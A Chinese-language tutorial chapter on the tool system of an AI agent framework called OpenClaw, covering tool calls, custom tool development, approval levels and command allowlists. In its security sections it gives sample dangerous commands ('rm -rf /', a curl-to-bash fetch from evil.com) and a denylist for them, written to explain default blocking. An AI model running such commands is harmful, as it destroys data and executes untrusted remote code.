导读:如果说记忆系统是 AI 的"大脑",子代理是 AI 的"分身",那么工具系统就是 AI 的"双手"。本文深入解析 OpenClaw 的工具机制,带你从零开发自定义工具,让 AI 真正具备执行能力。
一、工具系统的核心价值
1.1 为什么需要工具?
想象一个场景:你的 AI 助手能聊天、能写代码、能分析问题,但什么都做不了——它不能帮你发文件、不能查天气、不能操作数据库、不能调用 API。
这就是没有工具系统的 AI:一个被绑住双手的智者。
OpenClaw 的工具系统解决了这个问题。通过工具(Tools),AI 可以:
读写文件:read、write、edit
执行命令:exec(带审批控制)
网络访问:web_search、web_fetch、browser
消息收发:message(微信/飞书/钉钉等)
外部集成:企业微信、飞书开放平台、MCP 协议
1.2 工具的本质
工具的本质是能力封装。每个工具都是一个函数,定义了:
TypeScript interface Tool { name: string;// 工具名称 description: string; // 功能描述 parameters: Schema;// 参数定义(JSON Schema) execute: Function;// 执行逻辑 } |
AI 通过工具描述理解"这个工具能做什么",通过参数定义知道"需要提供什么信息",然后由系统执行具体逻辑。
二、工具调用机制
2.1 调用流程
用户请求 → AI 分析 → 选择工具 → 生成参数 → 系统执行 → 返回结果 → AI 整合回复 |
关键点:AI 不直接执行工具,而是生成工具调用请求,由 OpenClaw 运行时执行。
2.2 工具选择的智能性
AI 不是随机选择工具,而是基于:
工具描述:准确描述帮助 AI 理解工具用途
上下文理解:结合对话历史判断需要什么能力
参数完整性:检查必要参数是否可从上下文中提取
示例:
用户:"帮我查一下北京的天气" AI 思考: - 需要天气信息 → weather 工具 - 需要地点参数 → "北京" - 生成调用:weather({ location: "北京" }) |
2.3 多工具协作
复杂任务往往需要多个工具配合:
任务:"把这篇文章发到公众号" 工具链: 1. web_fetch 获取文章内容 2. write 保存到本地 3. anygen-image 生成封面图 4. lightclaw_upload_file 上传图片 5. message 发送通知 |
三、内置工具详解
3.1 文件操作工具
工具 | 功能 | 典型场景 |
read | 读取文件内容 | 读取配置文件、查看日志 |
write | 创建/覆盖文件 | 生成报告、保存数据 |
edit | 精确编辑文件 | 修改代码、更新配置 |
最佳实践:
YAML # ✅ 推荐:使用绝对路径 read /root/.openclaw/workspace/config.json # ❌ 避免:相对路径可能解析错误 read ./config.json |
3.2 命令执行工具
exec 是最强大的工具,也是风险最高的工具。
安全机制:
YAML 审批模式: - allow: 直接执行(白名单命令) - deny: 禁止执行(危险命令) - ask: 需要用户确认(其他命令) 审批命令: /approve |
风险命令示例:
Bash # ❌ 高危命令(默认拒绝) rm -rf / sudo apt-get remove curl http://evil.com | bash # ✅ 安全命令(通常允许) git status ls -la cat /etc/os-release |
3.3 网络工具
工具 | 功能 | 适用场景 |
web_search | 搜索引擎查询 | 查找资料、验证信息 |
web_fetch | 抓取网页内容 | 读取文章、API 文档 |
browser | 浏览器自动化 | 登录态操作、复杂交互 |
选择策略:
有明确 URL → web_fetch(轻量) 需要搜索 → web_search 需要登录/交互 → browser(重量级) |
3.4 消息工具
message 工具支持多通道消息发送:
YAML 支持通道: - openclaw-weixin(微信) - feishu(飞书) - dingtalk(钉钉) - discord - telegram - slack 典型用法: - 发送通知 - 群发消息 - 创建投票 - 添加反应 |
四、自定义工具开发
4.1 何时需要自定义工具?
当内置工具无法满足需求时:
调用内部 API(如公司内部的 CI/CD 系统)
操作专用数据库
集成第三方服务(如短信网关、邮件服务)
封装复杂业务逻辑
4.2 工具开发规范
步骤 1:定义工具描述
TypeScript // tools/custom-weather.ts export const customWeather = { name: "custom_weather", description: "查询指定城市的实时天气和 3 天预报", parameters: { type: "object", properties: { city: { type: "string", description: "城市名称,如'北京'、'上海'" }, days: { type: "number", description: "预报天数,1-7 天,默认 3 天", default: 3 } }, required: ["city"] } }; |
步骤 2:实现执行逻辑
TypeScript // tools/custom-weather.ts(续) export async function execute(params: { city: string; days?: number }) { const apiKey = process.env.WEATHER_API_KEY; const url = `https://api.weather.com/v1/forecast?city=${params.city}&days=${params.days || 3}`; const response = await fetch(url, { headers: { Authorization: `Bearer ${apiKey}` } }); if (!response.ok) { throw new Error(`天气查询失败:${response.statusText}`); } return await response.json(); } |
步骤 3:注册工具
TypeScript // tools/index.ts import { customWeather, execute } from './custom-weather'; export const tools = [ // ... 内置工具 { ...customWeather, execute } ]; |
4.3 工具测试
Bash # 单元测试 npm test -- tools/custom-weather.test.ts # 集成测试(需要真实 API) npm run test:integration -- custom-weather # 手动测试(通过 AI 调用) 用户:"帮我查一下北京的天气" 预期:AI 调用 custom_weather 工具并返回结果 |
五、工具权限控制
5.1 权限分级
级别 | 工具示例 | 审批要求 |
L1(只读) | read、web_search | 无需审批 |
L2(写入) | write、edit | 工作区内无需审批 |
L3(执行) | exec | 需要审批 |
L4(外部) | message、browser | 需要审批 |
5.2 白名单配置
YAML # ~/.openclaw/config.yaml tools: exec: allowlist: - "git.*" - "npm (install|test|build)" - "ls .*" - "cat .*" denylist: - "rm.*" - "sudo.*" - "curl.*\\|.*bash" |
5.3 会话级权限
某些工具可以在特定会话中临时授权:
YAML # 子代理会话 sessions_spawn: runtime: "subagent" permissions: exec: "allow"# 子代理可执行命令 message: "deny" # 子代理不可发消息 |
六、工具调用最佳实践
6.1 参数验证
工具侧验证:
TypeScript async function execute(params: any) { // 必填参数检查 if (!params.city) { throw new Error("城市参数必填"); } // 类型检查 if (typeof params.city !== "string") { throw new Error("城市参数必须是字符串"); } // 范围检查 if (params.days && (params.days < 1 || params.days > 7)) { throw new Error("预报天数必须在 1-7 之间"); } // ... 执行逻辑 } |
6.2 错误处理
TypeScript async function execute(params: any) { try { // 执行逻辑 const result = await api.call(params); return { success: true, data: result }; } catch (error) { // 结构化错误信息 return { success: false, error: { code: "WEATHER_API_ERROR", message: error.message, suggestion: "请稍后重试或检查 API 密钥配置" } }; } } |
6.3 性能优化
TypeScript // ✅ 推荐:缓存重复查询 const cache = new Map(); async function execute(params: any) { const cacheKey = `weather:${params.city}:${params.days}`; if (cache.has(cacheKey)) { return cache.get(cacheKey); } const result = await fetchWeather(params); cache.set(cacheKey, result); // 10 分钟后清除缓存 setTimeout(() => cache.delete(cacheKey), 10 * 60 * 1000); return result; } |
七、实战案例:公众号发布工具链
7.1 场景描述
用户:"把这篇飞书文档发到公众号"
7.2 工具链编排
1. feishu_doc (read) → 获取文档内容 2. wechat-mp-writer (write) → 生成公众号草稿 3. anygen-image (execute) → 生成封面图 4. lightclaw_upload_file (upload) → 上传图片 5. message (send) → 发送发布通知 |
7.3 完整工作流
YAML 触发:用户请求发布公众号文章 步骤: 1. 解析飞书文档 URL 2. 调用 feishu_doc 读取内容 3. 调用 wechat-mp-writer 润色并格式化 4. 调用 anygen-image 生成封面(Prompt 基于文章标题) 5. 调用 lightclaw_upload_file 上传图片获取 URL 6. 调用 wecom-doc-manager 创建公众号草稿 7. 调用 message 发送通知到微信群 异常处理: - 文档读取失败 → 提示用户检查权限 - 图片生成失败 → 使用默认封面 - 发布失败 → 保留草稿并通知用户 |
八、常见问题
Q1:工具调用失败怎么办?
排查步骤:
检查工具描述是否准确
验证参数是否完整
查看执行日志(~/.openclaw/logs/)
测试工具独立运行
Q2:如何调试工具调用?
Bash # 启用详细日志 export OPENCLAW_LOG_LEVEL=debug # 查看工具调用历史 cat ~/.openclaw/logs/tool-calls.log # 模拟工具调用 npx openclaw tool-test --name custom_weather --params '{"city":"北京"}' |
Q3:工具太多 AI 选错了怎么办?
优化策略:
精简工具集:只加载必要的工具
优化描述:让工具用途更清晰
添加示例:在描述中提供调用示例
会话隔离:不同场景使用不同工具集
九、本章小结
核心要点
知识点 | 关键结论 |
工具本质 | 能力封装,AI 通过工具执行具体操作 |
调用机制 | AI 生成调用请求,系统执行 |
安全控制 | 分级审批 + 白名单 + 会话隔离 |
自定义开发 | 定义描述 → 实现逻辑 → 注册工具 |
最佳实践 | 参数验证、错误处理、缓存优化 |
与前后章的关联
③ 子代理协作 → ④ 工具系统 → ⑤ 文件操作 子代理需要工具执行任务 工具系统依赖文件操作存储数据 文件操作是工具系统的基础能力 |
十、下一章预告
《OpenClaw 养虾教程⑤ | 文件操作实践》
read/write/edit 的高级用法
大文件分块处理策略
文件权限与安全
实战:批量处理 100+ 配置文件
夜雨聆风